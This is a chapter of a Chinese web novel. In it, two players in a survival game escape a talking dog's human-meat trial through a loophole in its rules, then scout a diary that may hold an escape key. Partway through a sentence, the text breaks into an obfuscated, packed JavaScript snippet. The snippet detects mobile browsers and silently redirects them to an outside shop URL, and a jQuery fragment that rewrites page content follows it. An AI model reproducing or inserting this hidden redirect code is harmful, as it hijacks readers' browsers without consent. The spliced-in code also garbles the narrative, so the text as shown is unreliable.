18. 希望小岛7
作品:《无限降临后被拉去打黑工了》 水蒸气向着她们的方向慢慢飘过来,整个空间内弥漫着一种带着热度的腥气。
黄狗抬起步子慢慢朝着她们走来,尾巴愉快地摇晃:“来吃肉吧!品尝完就可以离开这里啦!”
程越霖不动声色地挪到姜昭身边:“那是人肉。”
姜昭眼神一凛:“你怎么……”
程越霖笑起来:“不告诉你。”
姜昭没有追问,看着不远处那口冒着蒸蒸热气的锅,目光向下又落到那只黄狗身上,她的尾巴摇地越来越快,看上去愉快极了。
黄狗见众人没有动静,绕着她们转了个圈,声音带着一种属于孩童的无辜感:“不吃吗?不吃吗?真的不吃吗?很美味的!”
没有人敢回答。
于是黄狗开始逐个攻破,他先是走到年轻男人面前:“吃点吧?活的要卖到八块钱一斤呢!”
年轻男人闭上眼睛开始装死。
黄狗也不纠缠,再走到那对年轻情侣面前:“吃点吧吃点吧,不然他就白死了!可肥了!”
女孩抱着男孩死死闭着眼睛咬着嘴唇,两人一眼不发。
黄狗又走向下一个人……
姜昭看着黄狗慢慢朝着他们走过来,她深吸一口气,突然笑起来:“她刚才说,品尝就可以?没有主语吧?”
程越霖微微一愣,随即跟着笑起来,带着点无奈:“你还真会找纰漏。”
姜昭一挑眉:“不然呢,真的吃人肉?这种规则上的语言漏洞不可能只有我自己找到。”
程越霖:“阅读理解不错。”
姜昭颔首:“谢谢,我是文科生。”
程越霖自觉性不错,主动问:“需要我帮忙?”
“你的另外四只手可以派上用场了。”
黄狗慢慢走到他俩人面前,尾巴愉快地左右摆动:“你们……”
她话还没说完,姜昭就打断了她:“吃。”
黄狗尾巴摇的更快,几乎出了残影:“那来吧?”
她说着转身在前面引路,从她的背影可以看得出愉快,并且没有丝毫怀疑。
黄狗是最普通的那种狗,姜昭生活在农村经常见到,这狗也有点像她之前养过的那只,正面有些龅牙,从背后看着,两只有肉感的短腿倒腾倒腾的,有种憨厚的滑稽。
姜昭跟在她后面来到锅前,这锅肉仍然在沸腾着,水雾腾腾升起,将姜昭上半身包围,浓烈的潮腥把姜昭包围,姜昭喉咙卡了一下,生理性眼泪析出,胃酸一瞬间涌到喉管。
姜昭甩甩脑袋,其他玩家都在看着她,年轻情侣中的女孩眼神中带着明显的担忧。
黄狗倏地叫起来,是独属于犬科的凄厉的惨叫。
所有人的视线里,黄狗被无名的力量提了起来,在半空中浮着,两条腿在空中无力的蹬。
姜昭拿起旁边巨大的筷子夹起一块肉飞快地塞进黄狗张开的嘴里,然后,狗被放下,她似是没反应过来一样,将肉嚼嚼咽了下去。
姜昭笑起来,蹲下:“小狗,品尝过了,可以放我们走了吗?”
黄狗不可思议地瞪着姜昭,黑色的瞳仁有姜昭的影子。
黄狗哭了:“真讨厌,人类真讨厌。”
她的眼角真的有眼泪,姜昭一瞬间的慌乱,抬手摸上这只狗的头,毛发有些硬,更像自己的小狗了。
黄狗继续哭:“真讨厌,人类太讨厌了,人类是世界上最可恶的生物,我要把你们都卖掉。”
姜昭眸子一闪,没再说话,站起身走回玩家当中才再开口:“可以放我们走了吗?”
黄狗却朝她们走来,有人下意识往后退,姜昭蹲下:“不可以吗?”
而下一秒,黄狗不知道从哪变出来一根脏兮兮的遛狗绳:“不要再把你的小狗卖掉了。”
然后,那根遛狗绳自己飘浮起,来到了姜昭的手心。
上面还带着些泥土,有些潮。
姜昭攥紧绳子:“好。”
周围再次陷入黑暗,门被打开。
光亮照进来,已经是夕阳时分,太阳余晖有蓝绿色的凉意。
所有人都朝着门口走去,程越霖转头看有些发愣的姜昭:“走啊。”
姜昭将遛狗绳放进口袋,和那颗糖果放在一起。
元老板依旧等在门口:“恭喜各位度过愉快地一天。”
她在前面引路,单薄矮小的身影像是风一刮就会随风飘动。
程越霖和姜昭走在队伍最后面,程越霖感慨:“我抓她的时候又没使劲,那只黑狗叫的那么凄厉,当时吓我一跳。”
姜昭猛地看向他:“黑狗?”
程越霖点头:“是啊,黑狗……”他看着姜昭的表情,随即明白了什么,视线往下看,无奈极了,“怪不得那么像我养过得那只傻狗,给我整心软了都。”
游戏的障眼法。
姜昭笑起来,伸进口袋里摩挲了下那根绳子,不再接话。
“你的记忆会被她入侵,你在之前的经历会被它读取,它如果有恶趣味或者心血来潮会模拟出你想见的人来迷惑你。”
不只是人,游戏真狡猾。
指尖还有那只小狗头顶毛发的手感,有些硬,一根一根地在她手心擦过。
傻狗,又见面了。
回到别墅内,晚饭依旧是那些狗粮。
姜昭原本就被那些人肉给熏得恶心,眼下看着这些令人作呕的劣质狗食更是想吐。
这次她连吃几粒狗粮应付一下的心情都没有了,就坐在那里一动不动。
或许是早上的行为惹怒了元老板,元老板没有丝毫要管她的意思,连眼神都没有多给姜昭一下。
她这样姜昭也乐得清闲,在所有人一脸菜色看着面前的东西的时候,她闭上眼睛养精蓄锐。
即便是闭着眼睛,姜昭仍能感受到自己身上有若有若无的视线,她睁开眼睛,目光在餐桌上这些人扫视一遍,再次闭眼。
晚餐结束后,元老板照常让大家快去房间休息。
姜昭再次坐到沙发上,观察着周围。
“叮,技能‘休息,休息一下’冷却结束。”
这么快?
姜昭有些惊讶,她还以为这次冷却最起码要到下次游戏才能使用。
程越霖坐在她身边,观察了一下周围,往姜昭的手心塞了个东西。
姜昭感受到自己被塞了块糖一样的东西,塑料外包装很光滑。
她低头一看,是块巧克力。
姜昭:“你到底从哪搞出来这么多东西的?你身上这么能藏?”
程越霖摇头:“那倒没有,我有空间型道具。”
“那是什么?你身上自带小房子啊?”姜昭问。
“可以这么理解。”程越霖说,“不过没那么大,也就是个厕所大小吧。”
姜昭笑了:“那也能放不少东西了。”
程越霖点头:“快吃吧,别给你饿死。”
姜昭拆开包装将巧克力放进嘴里,带着微微苦涩的巧克力在她口中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243094|197826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
化开,随即香甜盖过苦涩占领她的整个口腔。
程越霖:“还要吗?”
说着又塞给姜昭一块。
姜昭有些想笑:“你挤牙膏啊?一点一点给?”
程越霖抿抿嘴:“因为我就带了四块。”
姜昭:“……合着你一开始就没带我的份啊?”
程越霖点头:“昂,谁知道这边饭能难吃成这样?”
元老板从他两人身前走过,姜昭注视着她,声音更低了些:“用你之前的经验来预判一下,钥匙会在她身上吗?”
程越霖:“十之八九。”
姜昭目光追随着元老板,元老板走进自己的房间,
但是她的房门没关紧,一只调皮的狗儿从门缝钻进去,后又几只紧随其后,将元老板房门大敞开。
姜昭的位置恰好可以看到元老板的室内,里面的装潢很温馨,床上粉白色的被子有些凌乱,反而多了些生活感。
姜昭目光迅速在元老板卧室内过一遍,争分夺秒。
她从门边扫到地毯,视线往上爬将床铺看过一遍,向右边转向来到淡黄色的床头柜,上面放着一站淡黄色的夜灯而在夜灯下面,有一本类似于日记一样的东西。
元老板就坐在床边看着那本日记,朝那本日记伸出手。
在即将触碰到那一刻,元老板目光顿住,歘一下转头看向姜昭门口,姜昭低下头和程越霖说话,元老板的眼光在他们两人说话的身影上来回审视,最后才低头看向脚下的几只小狗。
她揉了揉小狗的头,然后站起身,将房门关上。
姜昭长舒一口气:“吓死我了。”
程越霖:“你不近视?”
姜昭得意道:“当然不,我左眼视力5.2,右眼视力5.0。”
“真难得。”程越霖夸道,“看到什么了?”
“有本日记。”姜昭说,“我觉得那是线索。”
自己的异能恢复得很是时候。
年轻情侣来到姜昭两人面前,女孩怯生生开口:“你好?我叫韩眠,这是我男朋友许朗,可以认识一下吗?”
姜昭抬眼看她:“当然可以,我叫姜昭,这是我同事,程越霖。”
“同事?”韩眠有些奇怪,“你们上班的时候一起进的副本吗?”
姜昭点头:“是的。”
韩眠声音很轻柔,很难想象之前那样尖锐的尖叫声是她发出的,藏着很大的力量。
韩眠:“我们的任务是一样吧?”
姜昭:“你们是什么?”
韩眠刚想说,许朗胳膊碰了碰韩眠的腰,韩眠的话卡在喉咙,没有了下文。
姜昭觉得有趣:“如果要合作的话,拿出诚意比较好吧?”
韩眠思考两秒觉得也是,于是继续说:“找到钥匙和出口。”
“我们也是。”姜昭说,“一起进来估计目标就是一样的。”
韩眠点头:“我们刚才听见了,你要进去拿那只猫的日记。”
这次轮到姜昭疑惑了,自己刚才和程越霖的声音是很小的,照理说只有他两人能听见。
姜昭内心隐隐有了猜测,但是没点破,继续说:“所以呢?”
韩眠和许朗一同往四处张望一下,尤其是一起落在元老板的门上停顿的动作,出奇的一致,在确定元老板暂时没有出来的风险后,韩眠从口袋里掏出来一个小本子。
有些脏了,落了很厚的灰,封面上用圆珠笔写的字都有些模糊不清。

